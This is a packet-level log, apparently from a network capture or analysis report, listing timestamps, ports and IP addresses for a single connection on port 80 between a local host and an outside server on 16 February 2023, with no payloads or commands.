Feb 16, 2023 10:01:23.704529047 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704547882 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704566002 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704570055 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.704580069 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704598904 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.704602957 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704622984 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704642057 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704660892 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704662085 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.704674006 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704688072 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704705954 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704718113 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.704718113 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.704725981 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704746008 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704765081 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704778910 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704782009 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.704792976 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704806089 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704818964 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704832077 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704844952 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704858065 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704879045 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704894066 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704907894 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704926014 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704946041 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704962015 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.704965115 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704972982 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.704987049 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704997063 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.705008984 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.705027103 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.705029964 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.705050945 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.705064058 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.705096006 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.705104113 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.722338915 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.722377062 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.722395897 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.722403049 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.722417116 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.722460032 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.731354952 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.731390953 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.731409073 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.731429100 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.731436968 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.731492043 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.782809019 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.825644970 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.859869957 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.879596949 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.879631042 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.879643917 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.879659891 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.879683018 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.879695892 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.879705906 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.879725933 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.879882097 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.880721092 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.880752087 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.880774975 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.880785942 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.880806923 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.880825043 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.880848885 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.880867004 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.880870104 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.880886078 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.880896091 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.880913973 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.880919933 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.880939960 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.880959034 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.880971909 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.880981922 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.880995989 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.881005049 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.881025076 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.881045103 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.881057978 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.881077051 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.881097078 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.881155014 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.881175041 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.881195068 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.881215096 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.881234884 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.881278038 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.881336927 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.881359100 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.881382942 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.881395102 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.881402969 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.881426096 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.881427050 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.881449938 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.881464958 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.881524086 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.881584883 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.881599903 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.881622076 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.881642103 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.881659031 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.881668091 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.881688118 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.881709099 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.881711006 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.881730080 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.881743908 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.881752968 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.881772995 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.881789923 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.881808996 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.881812096 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.881844044 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.881855965 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.881874084 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.881889105 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.881899118 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.881918907 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.881932974 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.882002115 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.882020950 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.882040977 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.882042885 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.882065058 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.882074118 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.882086039 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.882108927 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.882131100 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.882134914 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.882149935 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.882169962 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.882173061 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.882193089 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.882222891 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.882232904 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.882252932 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.882266045 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.882275105 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.882294893 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.882319927 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.882329941 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.882342100 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.882369041 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.897125959 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.897172928 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.897231102 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.897365093 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.897398949 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.897408962 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.897475958 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.897509098 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.897542000 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.908919096 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.908963919 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.908992052 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.909022093 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.909080029 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.950628996 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:24.000514984 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.044420004 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:24.054245949 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.054281950 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.054301977 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.054317951 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.054332018 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.054352999 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.054488897 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:24.055350065 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.055373907 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.055392981 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.055413008 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.055433989 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.055460930 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.055483103 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.055500984 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.055521965 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.055536032 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:24.055541992 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.055561066 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.055568933 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:24.055579901 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.055598974 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.055599928 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:24.055619001 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.055639982 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.055644035 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:24.055664062 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.055684090 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.055701971 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.055702925 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:24.055720091 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.055738926 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.055751085 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:24.055758953 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.055782080 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.055799961 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.055818081 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.055818081 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:24.055843115 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.055846930 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:24.055861950 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.055874109 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:24.055922031 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:24.056019068 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.056040049 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.056112051 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:24.638799906 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:24.685091019 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:25.246540070 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:25.248929024 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:25.638037920 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:25.649708033 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:25.812799931 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:25.812860012 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:25.812884092 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:25.812911987 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:25.812939882 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:25.812968016 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:25.812974930 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:25.812997103 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:25.813028097 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:25.813050985 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:25.813059092 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:25.813085079 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:25.813091993 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:25.813142061 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:25.987729073 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:25.987797022 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:25.987828016 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:25.987854004 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:25.987876892 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:25.987900019 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:25.987925053 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:25.987948895 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:25.987972021 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:25.987998009 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:25.988004923 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:25.988025904 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:25.988054037 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:25.988054991 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:25.988054037 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:25.988082886 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:25.988110065 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:25.988110065 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:25.988145113 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:25.988153934 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:25.988177061 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:25.988209963 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:25.988240004 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:25.988264084 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:25.988275051 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:25.988305092 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:25.988770008 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:25.992850065 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.163778067 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.163825035 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.163849115 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.163872957 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.163897991 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.163897991 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.163925886 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.163952112 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.163969040 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.163980007 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.163992882 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.164007902 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.164030075 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.164033890 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.164062023 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.164079905 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.164088011 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.164115906 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.164124012 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.164140940 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.164164066 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.164189100 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.164203882 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.164216042 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.164237976 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.164243937 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.164271116 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.164285898 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.164294958 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.164319992 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.164341927 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.164345026 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.164369106 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.164392948 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.164405107 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.164417982 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.164442062 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.164444923 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.164473057 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.164486885 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.164498091 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.164522886 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.164545059 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.164546967 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.164572001 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.164594889 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.164608002 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.164619923 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.164643049 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.164650917 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.164676905 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.164688110 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.164701939 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.164725065 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.164762020 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.167609930 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.167659998 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.167689085 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.167742014 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.167771101 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.339915037 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.339968920 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.339993000 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340015888 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340039015 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340064049 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340086937 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340096951 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.340111017 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340137005 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340162039 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340186119 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.340189934 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340214014 CET	49698	80	192.168.2.4	23.106.124.133
